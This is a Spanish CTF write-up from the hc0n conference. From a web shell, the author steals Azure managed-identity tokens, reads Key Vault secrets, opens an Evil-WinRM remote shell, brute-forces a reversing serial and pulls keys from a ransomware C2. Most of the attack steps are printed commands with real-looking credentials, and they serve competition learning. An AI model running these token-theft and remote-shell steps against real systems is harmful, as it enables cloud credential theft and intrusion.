p0wny@shell:…/site/wwwroot# curl -v -H Metadata:true --noproxy "*" -H "X-IDENTITY-HEADER:4aa4b958-00d4-446c-bde2-d79077d205b0" "http://169.254.129.2:8081/msi/token?api-version=2019-08-01&resource=https://vault.azure.net/"
{
"access_token":"eyJ0eXAiOiJKV1Q...",
"expires_on":"1677340534",
"resource":"https://vault.azure.net/",
"token_type":"Bearer",
"client_id":"a8fe6496-a96a-46ed-974b-156dca93b895"
}
Y pedimos otro token para ver que recursos hay disponibles.
p0wny@shell:…/site/wwwroot# curl -v -H Metadata:true --noproxy "*" -H "X-IDENTITY-HEADER:4aa4b958-00d4-446c-bde2-d79077d205b0" "http://169.254.129.2:8081/msi/token?api-version=2019-08-01&resource=https://management.azure.com"
{
"access_token":"eyJ0eXAi...",
"expires_on":"1677334794",
"resource":"https://management.azure.com",
"token_type":"Bearer",
"client_id":"a8fe6496-a96a-46ed-974b-156dca93b895"
}
curl -v https://management.azure.com/subscriptions?api-version=2020-01-01 -H "Authorization: Bearer eyJ0eXAi..."
{
"value":[
{
"id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380",
"authorizationSource":"RoleBased",
"managedByTenants":[
],
"subscriptionId":"cc41d3d4-2369-421e-8f0b-166e4b339380",
"tenantId":"2849624e-7448-4443-ae97-d2be38cfb32a",
"displayName":"Azure subscription 1",
"state":"Enabled",
"subscriptionPolicies":{
"locationPlacementId":"Public_2014-09-01",
"quotaId":"FreeTrial_2014-09-01",
"spendingLimit":"On"
}
}
],
"count":{
"type":"Total",
"value":1
}
}
curl -v https://management.azure.com/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resources?api-version=2020-01-01 -H "Authorization: Bearer eyJ0eXAi..."
{
"value":[
{
"id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/keyvaultsupersecret123",
"name":"keyvaultsupersecret123",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{
}
},
{
"id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/supersecret1337",
"name":"supersecret1337",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{
}
}
]
}
curl -v https://management.azure.com/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/supersecret1337?api-version=2019-09-01 -H "Authorization: Bearer eyJ0eXAi..."
{
"id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/keyvaultsupersecret123",
"name":"keyvaultsupersecret123",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{
},
"properties":{
"sku":{
"family":"A",
"name":"Standard"
},
"tenantId":"2849624e-7448-4443-ae97-d2be38cfb32a",
"accessPolicies":[
{
"tenantId":"2849624e-7448-4443-ae97-d2be38cfb32a",
"objectId":"6922160e-4762-4ff3-9aba-d2b9bcea9af0",
"permissions":{
"keys":[
"Get",
"List",
"Update",
"Create",
"Import",
"Delete",
"Recover",
"Backup",
"Restore",
"GetRotationPolicy",
"SetRotationPolicy",
"Rotate"
],
"secrets":[
"Get",
"List",
"Set",
"Delete",
"Recover",
"Backup",
"Restore"
],
"certificates":[
"Get",
"List",
"Update",
"Create",
"Import",
"Delete",
"Recover",
"Backup",
"Restore",
"ManageContacts",
"ManageIssuers",
"GetIssuers",
"ListIssuers",
"SetIssuers",
"DeleteIssuers"
]
}
}
],
"enabledForDeployment":false,
"enabledForDiskEncryption":false,
"enabledForTemplateDeployment":false,
"enableSoftDelete":true,
"softDeleteRetentionInDays":90,
"enableRbacAuthorization":true,
"vaultUri":"https://keyvaultsupersecret123.vault.azure.net/",
"provisioningState":"Succeeded"
}
}
curl -v https://keyvaultsupersecret123.vault.azure.net/secrets?api-version=7.3 -H "Authorization: Bearer eyJ0eXAi..."
{
"value":[
{
"id":"https://keyvaultsupersecret123.vault.azure.net/secrets/supermegasecret",
"attributes":{
"enabled":true,
"created":1676631835,
"updated":1676631835,
"recoveryLevel":"Recoverable+Purgeable",
"recoverableDays":90
},
"tags":{
}
}
],
"nextLink":null
}
curl -v https://keyvaultsupersecret123.vault.azure.net/secrets/supermegasecret?api-version=7.3 -H "Authorization: Bearer eyJ0eXAi..."
{
"value":"local_franki:fr4nk1b3m3T4!",
"id":"https://keyvaultsupersecret123.vault.azure.net/secrets/supermegasecret/f5352e538c684db5a879b678e031dd4e",
"attributes":{
"enabled":true,
"created":1676631835,
"updated":1676631835,
"recoveryLevel":"Recoverable+Purgeable",
"recoverableDays":90
},
"tags":{
}
}
Usamos Evil-WinRM con las credenciales almacenadas encontradas en el vault.
C:\Users\Raul>docker run --rm -ti oscarakaelvis/evil-winrm -i 54.80.154.113 -u local_franki28 -p fr4nk1b3m3T4!
☺☻Evil-WinRM shell v3.4☺☻
☺☻Info: Establishing connection to remote endpoint☺☻
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/19/2019 4:52 AM PerfLogs
d-r--- 2/21/2023 2:07 PM Program Files
d-r--- 2/25/2023 4:17 PM Program Files (x86)
d----- 2/25/2023 11:29 AM Temp
d----- 2/25/2023 1:05 PM tmp
d----- 2/25/2023 4:39 PM tmp2
d----- 2/25/2023 10:04 AM Tools
d-r--- 2/25/2023 3:48 PM Users
d----l 12/18/2022 9:43 PM vagrant
d----- 12/31/2022 4:56 AM Windows
-a---- 2/21/2023 1:46 PM 42 flag1.txt
-a---- 2/21/2023 2:07 PM 1487 install.txt
-a---- 2/25/2023 3:50 PM 74 run.txt
*Evil-WinRM* PS C:\> cat flag1.txt
hc0nCTF{4zur31sc00lm4n4g3d1d3nt1t13s4w1n}
Embuchado (Reversing)#
Tenemos que encontrar un string cuya suma de caracteres sea cierto valor y la suma del XOR otro.
En el binario hay varios chars hardcodeados I_X0
, calculamos sumaTotal - ord(hardcoded[0]) - ord(hardcoded[1] …. -ord(hardcoded[n])) y nos da 265.
Bruteforceamos los caracteres que nos faltan.
Tuve problemas con Z3 para que reconociera las condiciones del método. Hice 4 solvers de este reto en Python, todos mal, hasta que al final funcionó el más cutre de todos :D
import string
import subprocess
prefix = "I_X0"
for c1 in string.printable:
for c2 in string.printable:
remaining = 265 -ord(c1) - ord(c2)
if remaining > 30:
c3 = chr(remaining)
arg = prefix + c1 + c2 + c3
out = subprocess.run(['./embuchado', arg], stdout=subprocess.PIPE).stdout.decode('utf-8')
if "Mal, Mal, espabila!" not in out:
print(arg) # Resuelto
resultado
root@4dcc05903c32:/data# python3 solve.py
I_X0a5s
I_X0aeC
I_X0b3t
I_X0bcD
I_X0c3s
I_X0ccC
I_X0d1t
I_X0daD
I_X0e1s
I_X0eaC
I_X0n7d
I_X0n't
I_X0o7c
I_X0o's
I_X0p5d
I_X0p%t
I_X0q5c
I_X0q%s
I_X0r3d
I_X0r#t
I_X0s3c
I_X0s#s
I_X0t1d
I_X0t!t
I_X0u1c
I_X0u!s
I_X0`5t
I_X0`eD
I_X0~7T
I_X0~'d
No existe solución única, probando 1 a 1 hasta que acierto la válida.
FLAG
❯ nc 164.92.176.114 60010
Validacion de serial:
>I_X0d1t
flag--> hc0nCTF{W3ll_D0n3_c4besh0}
Reimonware (Forensics)#
Host C2C en los logs: https://c2c.ramonware.com/, nmap dice abiertos 80 y 443.
Reverseando el exe con ILSpy vemos que tiene hardcodeado un powershell. Se trata de una version modificada de: https://github.com/JoelGMSec/PSRansom/, cuyo C2 esta en el mismo repositorio: https://github.com/JoelGMSec/PSRansom/blob/main/C2Server.ps1
Haciendo diff del código contra el de github vemos que han añadido un mecanismo de auth usando Authorization: Basic
, y han eliminado para que no salga la pw de recuperación en los logs.
Aquí perdí mucho tiempo enumerando con gobuster el server web y buscando endpoints, hasta que vi el /C2Files
en el source del C2. Con la misma cabecera auth que el ransomware, y modificando el user agent para aparentar ser powershell, con un par de peticiones recuperamos las claves
GET /C2Files/ HTTP/2
Host: c2c.ramonware.com
Authorization: Basic YzJjOkZVVmg1UFljYkNKNmM3S2Q=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
HTTP/2 200 OK
Server: nginx
Date: Sat, 25 Feb 2023 11:53:39 GMT
Content-Type: text/html
Content-Length: 45
X-Accel-Version: 0.01
Last-Modified: Sat, 18 Feb 2023 09:48:53 GMT
Etag: "2d-5f4f656720dba"
Accept-Ranges: bytes
X-Powered-By: PleskLin
<h4>
. <br/>
.. <br/>
key.txt<br/>
</h4>
GET /C2Files/key.txt HTTP/2
Host: c2c.ramonware.com
Authorization: Basic YzJjOkZVVmg1UFljYkNKNmM3S2Q=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
HTTP/2 200 OK
Server: nginx
Date: Sat, 25 Feb 2023 11:54:32 GMT
Content-Type: text/plain
Content-Length: 75
X-Accel-Version: 0.01
Last-Modified: Sat, 18 Feb 2023 08:18:34 GMT
Etag: "4b-5f4f51377f153"
Accept-Ranges: bytes
X-Powered-By: PleskLin
Dy9A8MRkmKqafCgWhjXJLI6O
v8GkybZnqdw0YF9gWRuheCa6
sFA02ndh613owTcjKQR9X8ML
La última de las 3 con el código de Joel descifra nuestro fichero, y empieza la parte 2.
En el wireshark tenemos bruteforce de credenciales, filtramos sctp.data_b_bit && ip.src==10.8.0.1
y ordenamos por tamaño. Todas excepto una tienen tamaño 100. La contraseña que no da tamaño 100 es lamborghini
, paquete 3213. Tiramos nmap a la ip que nos dan y usamos socat para enviar la password, el servidor devuelve la flag.
Conclusiones#
Muchas gracias a la organización de la conferencia hc0n, y especialmente a Kaorz por la organización del CTF (@XnbEm). Todos los retos resueltos me han parecido curradísimos, me queda pendiente resolver alguno más fuera del CTF si se mantiene la infra unos días.
Autor: Raúl Martín @rmartinsanta